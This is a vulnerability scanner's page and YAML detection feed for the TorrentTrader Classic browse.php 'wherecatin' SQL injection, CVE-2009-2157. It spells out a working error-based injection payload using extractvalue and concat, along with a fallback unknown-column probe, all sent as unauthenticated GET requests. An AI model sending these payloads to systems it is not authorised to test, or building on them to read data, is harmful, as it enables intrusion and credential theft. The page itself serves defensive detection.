TorrentTrader — 1 vulnerability check

noctis ships 1 vulnerability check for TorrentTrader, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

TorrentTrader Classic browse.php 'wherecatin' SQL Injection

CVECVE-2009-2157
Severitymedium · CVSS 6.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/torrenttrader/CVE-2009-2157.yaml

Tests TorrentTrader Classic for the unauthenticated SQL injection through the wherecatin parameter of browse.php. In the web root and in the /upload, /torrenttrader, /torrenttrader/upload, /tt and /tracker directories, once browse.php answers with the torrent browse page and no database error, the feed requests browse.php with a wherecatin value that makes the database raise an XPath error carrying the product of two random numbers. The correct product in the page confirms that the database ran the injected expression; the product is not part of the request, so a page that only echoes the URL is not reported. On databases without the EXTRACTVALUE function, the feed instead reports an "Unknown column" database error naming a random marker sent as wherecatin, given that the plain browse page showed no database error. The probes read no table row and change nothing.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{dir}}/browse.php
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{dir}}/browse.php?wherecatin=0)%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}}))…
  6. Parses / computes the next value with a Rhai script
  7. Checks proof for ^XPATH syntax error: ~[0-9]+$ → finding QoD 97: TorrentTrader Classic browse.php 'wherecatin' SQL Injection (CVE-2009-2157)
  8. HTTP(S) request GET {{dir}}/browse.php?wherecatin={{m.tag}}
  9. Parses / computes the next value with a Rhai script
  10. Checks col for ^Unknown column noctis[a-z0-9]+$ → finding QoD 75: TorrentTrader Classic browse.php 'wherecatin' SQL Injection (CVE-2009-2157)

References:

Feed source — tests/vulnerabilities/torrenttrader/CVE-2009-2157.yaml
# TorrentTrader Classic browse.php 'wherecatin' SQL injection — CVE-2009-2157
#
# TorrentTrader Classic <= 1.09 (original 1.09 release) imports every request
# variable as a global (backend/functions.php runs import_request_variables('GPC')
# when register_globals is off) and browse.php only assigns $wherecatin when
# several categories are ticked. An anonymous visitor can therefore set it from
# the query string, and it is pasted unquoted into
#   SELECT COUNT(*) FROM torrents WHERE visible = 'yes' AND category IN(<wherecatin>)
# whose failure is printed with die(mysql_error()). The SourceForge re-upload
# of 1.09 (July 2009) initialises $wherecatin = "" and is not vulnerable.
# (waraxe advisory #74 section 4; item (15) of the CVE-2009-2157 record.)
#
# Detection (benign, read-only), per candidate install directory
# ("", /upload, /torrenttrader, /torrenttrader/upload, /tt, /tracker):
#   1. GET <dir>/browse.php (no redirect follow) must answer 200 with the
#      browse page (its "browse.php" form and the word "torrent") and no
#      database error. This is also the control request of step 3.
#   2. GET <dir>/browse.php?wherecatin=0) AND extractvalue(1,concat(0x7e,<a>*<b>)) AND (1
#      The database raises "XPATH syntax error: '~<a×b>'", printed by the page.
#      The product of two random 6-digit operands is not in the request, so a
#      page that echoes the URL cannot produce it. MySQL / MariaDB fold the
#      constant, so it errors even with no torrent in the table. QoD 97.
#   3. Fallback (MySQL < 5.1 has no EXTRACTVALUE): wherecatin=<random marker>
#      must give "Unknown column '<marker>'" while the control of step 1 showed
#      no database error. QoD 75.
#
# Improvements over the source NASL: a database-computed proof instead of a
# fixed "waraxe" column echo (QoD 97), a random marker for the fallback, and
# the web root / common install directories besides <dir>/upload/ (installs
# that publish the upload/ folder as the site root were missed). The NASL's
# version fallback (<= 1.09) is not ported: the 1.09 re-upload is fixed and the
# version string is the same, so it would report patched installs.
#
# CVE: the NASL lists CVE-2009-2156..2161 (one advisory); only CVE-2009-2157
# (SQL injection, includes browse.php wherecatin) is what this probe proves.
# CVSS: CVE-2009-2157 v2 6.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_torrent_trader_classic_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.800522, GPL-2.0-only).
uid: 5ba21263-5192-4229-89fc-cc7b8fbfb94a
name: "TorrentTrader Classic browse.php 'wherecatin' SQL Injection (CVE-2009-2157)"
description: |
  Tests TorrentTrader Classic for the unauthenticated SQL injection through the
  wherecatin parameter of browse.php. In the web root and in the /upload,
  /torrenttrader, /torrenttrader/upload, /tt and /tracker directories, once
  browse.php answers with the torrent browse page and no database error, the
  feed requests browse.php with a wherecatin value that makes the database
  raise an XPath error carrying the product of two random numbers. The correct
  product in the page confirms that the database ran the injected expression;
  the product is not part of the request, so a page that only echoes the URL
  is not reported. On databases without the EXTRACTVALUE function, the feed
  instead reports an "Unknown column" database error naming a random marker
  sent as wherecatin, given that the plain browse page showed no database
  error. The probes read no table row and change nothing.
cves: [CVE-2009-2157]
cvss: 6.5
severity: medium
category: sqli
confidence_base: 0.30
tags: [torrenttrader, php, mysql, sqli, error-based, unauthenticated, register-globals]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-2157"
  - "http://www.waraxe.us/advisory-74.html"
  - "https://www.exploit-db.com/exploits/8958"
  - "https://www.securityfocus.com/bid/35369"
  # OpenVAS/Greenbone NASL 2009/gb_torrent_trader_classic_mult_vuln.nasl (GPL-2.0-only)

steps:
  # Random operands and marker; the expected proofs are computed locally.
  - id: mint
    action: script
    code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999), tag: "noctis" + rand_str(10) }'
    store_as: m

  - id: mint-product
    action: script
    code: '"" + (m.a * m.b)'
    store_as: prod

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  # ── Loop group: every step below runs once per candidate install dir ─────
  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/upload", "/torrenttrader", "/torrenttrader/upload", "/tt", "/tracker"]
      var: dir

  - id: init-inj
    action: set_var
    var_name: inj
    var_value: {status: 0, body: ""}

  - id: init-mark
    action: set_var
    var_name: mark
    var_value: {status: 0, body: ""}

  # Gate and control: the plain browse page, without any database error.
  - id: fetch-browse
    action: http_request
    method: GET
    path: "{{dir}}/browse.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: ctl

  - id: gate
    action: script
    code: |
      if proof == "" && ctl.status == 200 && type_of(ctl.body) == "string" {
        let lb = tolower(ctl.body);
        stridx(lb, "browse.php") >= 0 && stridx(lb, "torrent") >= 0
          && stridx(lb, "xpath syntax error") < 0 && stridx(lb, "unknown column") < 0
          && stridx(lb, "sql syntax") < 0
      } else { false }
    store_as: is_tt

  # wherecatin=0) AND extractvalue(1,concat(0x7e,<a>*<b>)) AND (1
  #   → ... category IN(0) AND extractvalue(...) AND (1)
  - id: inject-xpath
    action: http_request
    method: GET
    path: "{{dir}}/browse.php?wherecatin=0)%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}}))%20AND%20(1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'is_tt == true'
    store_as: inj

  # The error text may be HTML-escaped by a front end; accept the quote in any
  # common form, or none.
  - id: verdict-xpath
    action: script
    code: |
      if is_tt == true && type_of(inj.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod + "(?:[^0-9]|$)", inj.body) != "" { "XPATH syntax error: ~" + prod } else { proof }
    store_as: proof

  - id: report-xpath
    action: match
    source: proof
    pattern: "^XPATH syntax error: ~[0-9]+$"
    on_match:
      finding:
        title: "TorrentTrader Classic browse.php 'wherecatin' SQL Injection (CVE-2009-2157)"
        description: "An unauthenticated GET to browse.php with SQL in the wherecatin parameter made the database compute the product of two random numbers, which came back in the page's database error. Any query the database user may run can be injected the same way, including reading the user accounts and their password hashes."
        remediation: "Upgrade to TorrentTrader 2.x, or initialise $wherecatin to an empty string at the top of browse.php, as the later 1.09 package does. Stop printing database errors to visitors."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{dir}}/browse.php with an injected wherecatin computing {{m.a}}*{{m.b}} returned the database-computed result: {{proof}}"
      stop: true

  # Fallback for MySQL < 5.1: unknown-column error naming a random marker.
  - id: inject-marker
    action: http_request
    method: GET
    path: "{{dir}}/browse.php?wherecatin={{m.tag}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'is_tt == true && proof == ""'
    store_as: mark

  - id: verdict-marker
    action: script
    code: |
      if proof == "" && is_tt == true && type_of(mark.body) == "string" && egrep("Unknown column (?:'|&#0?39;|&#x27;|&apos;)?" + m.tag + "(?:'|&#0?39;|&#x27;|&apos;)", mark.body) != "" { "Unknown column " + m.tag } else { "" }
    store_as: col

  - id: report-marker
    action: match
    source: col
    pattern: "^Unknown column noctis[a-z0-9]+$"
    on_match:
      finding:
        title: "TorrentTrader Classic browse.php 'wherecatin' SQL Injection (CVE-2009-2157)"
        description: "An unauthenticated GET to browse.php with a random word as the wherecatin parameter returned a database \"Unknown column\" error naming that word, while the plain browse page showed no database error: the parameter is pasted into the query unescaped. Any query the database user may run can be injected the same way."
        remediation: "Upgrade to TorrentTrader 2.x, or initialise $wherecatin to an empty string at the top of browse.php, as the later 1.09 package does. Stop printing database errors to visitors."
        confidence_delta: 0.50
        qod: 75
        evidence: "GET {{dir}}/browse.php?wherecatin={{m.tag}} returned a database error naming {{m.tag}} as an unknown column; GET {{dir}}/browse.php returned the browse page with no database error"
      stop: true

View these feeds on GitHub